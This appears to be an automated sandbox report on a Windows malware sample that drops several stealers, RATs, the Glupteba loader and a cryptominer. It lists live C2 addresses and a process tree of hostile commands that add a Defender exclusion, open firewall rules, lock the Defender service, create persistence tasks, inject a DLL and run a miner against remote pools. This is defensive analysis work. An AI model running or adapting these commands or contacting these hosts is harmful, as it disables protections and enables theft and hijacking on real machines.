Resubmissions
09/04/2024, 08:32
240409-kfg77aaf851009/04/2024, 08:32
240409-kfglnaaf841009/04/2024, 08:32
240409-kffz5aea2y1009/04/2024, 08:32
240409-kffpcsaf791011/03/2024, 08:03
240311-jxm94afe6y1010/03/2024, 15:15
240310-snee9sfd3y10Analysis
- max time kernel
197s - max time network
406s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
09/04/2024, 08:32
General
- Target FUCKER.exe
- Size 10KB
- Sample240409-kfg77aaf85
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
raccoon
Botnet
-
a9a7275fb9eb4dd3731cb51ff1f26091
C2
-
http://193.233.132.13:80/
Attributes
-
user_agent
SouthSide
xor.plain
Extracted
Family
-
lokibot
C2
-
http://94.156.66.115:4012/dolul/five/fre.php
-
http://kbfvzoboss.bid/alien/fre.php
-
http://alphastand.trade/alien/fre.php
-
http://alphastand.win/alien/fre.php
-
http://alphastand.top/alien/fre.php
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Detect Xworm Payload 2 IoCs
- Detect ZGRat V1 34 IoCs
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 4 IoCs
- Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies firewall policy service 2 TTPs 1 IoCs
- Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
- Raccoon Stealer V2 payload 3 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
- Stealc
Stealc is an infostealer written in C++.
- Windows security bypass 2 TTPs 18 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- ZGRat
ZGRat is remote access trojan written in C#.
- Async RAT payload 1 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Checks BIOS information in registry 2 TTPs 7 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 24 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 8 IoCs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers COM server for autorun 1 TTPs 3 IoCs
- Themida packer 3 IoCs
Detects Themida, an advanced Windows software protection system.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Windows security modification 2 TTPs 21 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 12 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Drops Chrome extension 2 IoCs
- Drops desktop.ini file(s) 1 IoCs
- Enumerates connected drives 3 TTPs 6 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 42 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 5 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Program Files directory 18 IoCs
- Drops file in Windows directory 17 IoCs
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 7 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 16 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Enumerates system info in registry 2 TTPs 11 IoCs
- Kills process with taskkill 9 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 45 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 4 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: SetClipboardViewer 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 10 IoCs
- Suspicious use of SendNotifyMessage 19 IoCs
- Suspicious use of SetWindowsHookEx 30 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\update.exe"C:\Users\Admin\AppData\Local\Temp\Files\update.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TvipY.exe"C:\Users\Admin\AppData\Local\Temp\Files\TvipY.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\TvipY.exeC:\Users\Admin\AppData\Local\Temp\Files\TvipY.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4604 -s 804⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TvipY.exeC:\Users\Admin\AppData\Local\Temp\Files\TvipY.exe3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\un300un.exe"C:\Users\Admin\AppData\Local\Temp\Files\un300un.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"3⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Lbv5KBBrB5y7UJ5SxQnQE4UF.exe"C:\Users\Admin\Pictures\Lbv5KBBrB5y7UJ5SxQnQE4UF.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\u3ts.0.exe"C:\Users\Admin\AppData\Local\Temp\u3ts.0.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\FCFIJEBFCG.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\FCFIJEBFCG.exe"C:\Users\Admin\AppData\Local\Temp\FCFIJEBFCG.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\FCFIJEBFCG.exe8⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30009⤵
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 33286⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\u3ts.1.exe"C:\Users\Admin\AppData\Local\Temp\u3ts.1.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD16⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4960 -s 11485⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\PaNtNvMm5tOUysarsXId80A9.exe"C:\Users\Admin\Pictures\PaNtNvMm5tOUysarsXId80A9.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Pictures\PaNtNvMm5tOUysarsXId80A9.exe"C:\Users\Admin\Pictures\PaNtNvMm5tOUysarsXId80A9.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll7⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)9⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:807⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 3967ba33-99bc-44a2-8173-2a5b5b10e9f6 --tls --nicehash -o showlock.net:443 --rig-id 3967ba33-99bc-44a2-8173-2a5b5b10e9f6 --tls --nicehash -o showlock.net:80 --rig-id 3967ba33-99bc-44a2-8173-2a5b5b10e9f6 --nicehash --http-port 3433 --http-access-token 3967ba33-99bc-44a2-8173-2a5b5b10e9f6 --randomx-wrmsr=-18⤵
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 67008⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Tx9plhK76OZK8dgpohG1tvGr.exe"C:\Users\Admin\Pictures\Tx9plhK76OZK8dgpohG1tvGr.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Pictures\Tx9plhK76OZK8dgpohG1tvGr.exe"C:\Users\Admin\Pictures\Tx9plhK76OZK8dgpohG1tvGr.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Users\Admin\Pictures\tOybZGVEroDMHSV1bPEYqroh.exe"C:\Users\Admin\Pictures\tOybZGVEroDMHSV1bPEYqroh.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSD3BB.tmp\Install.exe.\Install.exe /dQndidvBp "385118" /S5⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 10:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\WeWsvRI.exe\" mP /rzsite_idOSB 385118 /S" /V1 /F6⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exe"C:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exe" --silent --allusers=04⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
-
C:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exeC:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x29c,0x2a0,0x2a4,0x298,0x2a8,0x6df3e1d0,0x6df3e1dc,0x6df3e1e85⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\GebNSFFmC2IyLgIvdc8o72uq.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\GebNSFFmC2IyLgIvdc8o72uq.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exe"C:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2912 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240409103420" --session-guid=476520ea-faa0-4233-b235-a4aa780f01c7 --server-tracking-blob="MmEyNTIxMGU4MTkyZGY0MDEwMmNjODUwNDllY2VlODJhMGMwNTk0NGU1OGQ3OWEyNzRkNTJlOTkyOTBiNzFhZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEyNjU4ODU0LjM0MzIiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMmY0YTA3YTYtNTcxYS00NzlhLWE0ZDctOTExMWQzMTZjOTYwIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=F0030000000000005⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
-
C:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exeC:\Users\Admin\Pictures\GebNSFFmC2IyLgIvdc8o72uq.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x298,0x2a8,0x2ac,0x274,0x2b0,0x6d41e1d0,0x6d41e1dc,0x6d41e1e86⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\installer.exe"C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\installer.exe" --backend --initial-pid=2912 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --show-intro-overlay --package-dir="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201" --session-guid=476520ea-faa0-4233-b235-a4aa780f01c7 --server-tracking-blob="MmEyNTIxMGU4MTkyZGY0MDEwMmNjODUwNDllY2VlODJhMGMwNTk0NGU1OGQ3OWEyNzRkNTJlOTkyOTBiNzFhZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEyNjU4ODU0LjM0MzIiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMmY0YTA3YTYtNTcxYS00NzlhLWE0ZDctOTExMWQzMTZjOTYwIn0= " --silent --desktopshortcut=1 --install-subfolder=109.0.5097.386⤵
- Executes dropped EXE
- Loads dropped DLL
- Registers COM server for autorun
- Enumerates connected drives
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\installer.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\installer.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x24c,0x274,0x278,0x270,0x27c,0x7fffa96c7c80,0x7fffa96c7c8c,0x7fffa96c7c987⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe" --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera\assistant" --copyonly=0 --allusers=07⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies Internet Explorer settings
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0xb50040,0xb5004c,0xb500588⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --ran-launcher --install-extension="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\be76331b95dfc399cd776d2fc68021e0db03cc4f.crx"7⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x284,0x288,0x28c,0x280,0x290,0x7fffa6427590,0x7fffa64275a0,0x7fffa64275b08⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=gpu-process --no-appcompat-clear --start-stack-profiler --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1928,i,12302854310762936529,9671560142172724000,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:28⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
